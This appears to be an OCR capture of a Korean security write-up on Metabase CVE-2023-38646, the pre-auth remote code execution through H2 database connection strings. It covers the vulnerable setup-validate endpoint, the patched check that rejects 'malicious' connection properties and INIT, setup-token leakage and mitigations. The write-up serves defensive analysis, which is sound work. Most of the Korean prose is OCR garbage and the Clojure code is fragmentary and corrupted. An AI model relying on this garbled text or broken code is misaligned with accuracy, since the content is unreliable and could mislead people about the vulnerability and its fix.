Request | Response

Pretty Raw Hex = \n =

12 Content-Type: application/|son:charset=utf-8
13 Expires: Tue, 03 Jul 2001 06:00:00 GMT

14 Content-Length: 51

15 Server: Jetty(11.0.14)

1

1

:
71 v

"message": "Vector arg to map conj must be a pair"

1

J

19 17. 7]-7F o] gtz o} o= uray

2e 22]8 AHHEH (str/split connection—string #';+")+= Y= connection—string & A0|Z=
()& 7oz Eaghtt, 181 (str/split option #'="& ZF 342 A = 7|52 Eeslo] 7|}
%)\—‘O’] ﬁ’g}_gfr_ Jf%q‘ U:]'E]'/\i “A = B” _9]— 71‘01 ’c%]/ﬂ'% 5‘%’—%7] Oa—H “%Z_-]I?___-i_ — B”% /\]'—g—f)ﬂo]:
Sh=d| o]di2& SQL Syntax ol#7} @HAYsH| wjie] “TALE--=B"9} 7L Xog FALR
SRES FA(--)AEste] 71-3 A& FAS ddsHE AR wo|z Bt FART

connection-string->file+options
"Explode a "~ connection-string® like “file:my-db;OPTION=100;0PTION_2=TRUE  to a pair

(connection-string->file+options \"file:my-crazy-db;OPTION=100;0PTION_X=TRUE\")
-> [\"file:my-crazy-db\" {\"OPTION\" \"1@@\", \"OPTION_X\" \"TRUE\"}]"
~String connection-string
ipre string? connection-string
file & options str/split connection-string
options into {} ( [option options]
(str/split option

file options]))

19 18. connection—string & EA35to] 7] -4 oA
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m oig Lot

Metabase Cloud & ©|&df AHAE 29 FolatH FFS ©A] S=th. sHAT A 325
4%, Metabase 54 EZIA= OSS 0.46.6.4, Enterprise Edition 1.46.6.4 o]iFe] 4l
Hholu 2z o] HolE g2 dilskal ot

A fele AME® FA URL <) /api/setup/validate o4 %713 ¢t of 8 shelshe A}
Zlo] 7159k,
¥ { clj Pundoflgnﬂr derPcath var]}
- d ase given a set of details.”
:as {{{:keys [engine details]|} :details, token :token} :body}]
{token SetupToken
91gine DBEngineString}

engine (keyword engine)

error-or-nil (api.database/test-database-connection engine details)

error-or-nil
(snowplow/track-event! ::snowplow/database-connection-failed

{:database engine, :source :setup})
{:status 400
:body Prrnr—ar—nil} ))
¥ { clj Pundoflgnnr defPCﬂth var]}
: nt-schema POST "/validate'
that we can connect to a database given a set of details.”
{{:keys [engine details]} :details, token :token} :body}]
taPPn SetupToken
engine DBEngineString}
( setup/has-user-setup
(ex-info (tru "Instance already initialized")
{:status-code 400})))
engine (keyword engine)
error-or-nil (api.database/test-database-connection engine details)
error-or-nil
(snowplow/track-event! ::snowplow/database-connection-failed
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ESH 71EC /Y A AFHE AREE 4 e wAE] oY " iz‘lo] x7]'ﬂ E}.
H2 dloJeiHjol~ A A] connection strings °A ZE=E A
A 27]9kE astH A FHE Ado] 7hsgt INI

,_]
ol
1o
©
)
N
N

defn- malicious-property-value

(apply some-fn (map [marker] (fn [s] (str/includes? s marker))
bad-markers))

efmethod driver/can-connect? :h2
[driver {:keys [db] :as details}]
{ *allow-testing-h2-connections*
(ex-info (tru "HZ is not
string? db
[connection-str (cond-> db
not (str/includes? db "h2:")) (str/replace-first
not (str/includes? db ° :")) (str/replace-first
connection-info Eurg.hz.englne.Cannectlunlnfu. connection-str
properties (get-field connection-info “prop™)
bad-props (into keep (fn [[k v]] ( malicious-property-value v
properties)]
(seq bad-props)
ex-info "Maliciou ted” {:keys (keys bad-props)})))

(contains? properties ' )
ex-info "INIT not al d" {:keys ["INIT"1})))))
(sql- Jdnc conn/can-connect? driver dPtalL ))

a9 20. AR dEg 2EHFY
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Metabase = 0.46.6.4 HZ5E A IE A3 FAc| Fefet H2 HolgHo]AE At
derh 7ls2 A2 fAH oy allow—testing—h2-connection Ad7Ao] false 2 % o]8lo]
At "ol 7k E7Fssto SHARE 7]Eo] H2 Hlo[EHo]AE FUI6siA A S AF
HHP|E Folke oH3] FH&KHo] 7b5dlrh. Metabase oA Hetz fls) thE dlolE#olA=x
nfo] T1Elol At Harstal glot.

ol o] E 71317 0.46.6 | G| 0| E{ Z=7}5}7| 0.46.6.4
ol B AEE FH7F =& Uk OFf ol F=7Hst U Al 2. CIOIE EME RS FH| 7 £ S U7 Ofeh ol =7Ho U Al 2.
THIEX] ShorLie? S 1 4E HI0|HB| 0| A S 7HA| 1 SO0tE M L. THI A FLia? A5 1 4E HI0|HB| 0| A5 7k 1 =02 A 2.
MySQL PostgreSQL SQL Server MySQL PostgreSQL SQL Server
L o stk b Lo D
Amazon Redshift BigQuery Snowflake Amazon Redshift BigQuery Snowflake
. r - 4
. Google Analytics
. Google Analyt
Amazon Athena Druid ([;);;':ca?:dyd‘rci\ier) Amazon Athena Druid {Dgprecated
driver)
[ o] (] (] =
H2 MongoDB Presto MongoDB Presto Spark SQL
Spark SQL SQlite SQLite

9 21. H2 dHlo]gHo]2 At

AT AR BURAZ} A 04664 AE L AR 0.7 Fl AN ZAT seup-
O

token o] A|&A 072 LEE] 3 It} setup—token & FHZ AA] o]F LEHA| ¢ AA =S
2 WHFE ol setup—token & FULE & A HAHSNUS 'IH ol 7] °i7ﬂ

/api/session/properties oA EE|Ttal 4] HojAlo] AFE AT B 2)7F A-GEH HA A
setup—token & &%t CVE-2023-38646 542 =7Fs0ht &S setup—token & ©]-83F Hot
A8 7FsAdol ol F7H4]] ti-go] EQsirt,

HI

nhoF 27lusH4 dYo]EE o 4 gl A9 %] A& A7HA] Metabase AAo] obd I AH

@]
H T
24 H Aol A& F5te] /api/setup/* AR e Agtete] i3 4 Uk

4 ufo] o] M(migration) : HolEL} £LEG IS F ALFA ThE AAFOR o5 2
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« URL: https://www.metabase.com/blog/security—incident—summary

« URL: https://www.metabase.com/blog/security—advisory

« URL: https://www.h2database.com/html/features.html

« URL: https://pyn3rd.github.io/2022/06/06/Make—]DBC-Attacks—Brillian— Again—I
« URL: https://github.com/securezeron/CVE-2023-38646

« URL: https://blog.assetnote.io/2023/07/22/pre—auth—rce—metabase/
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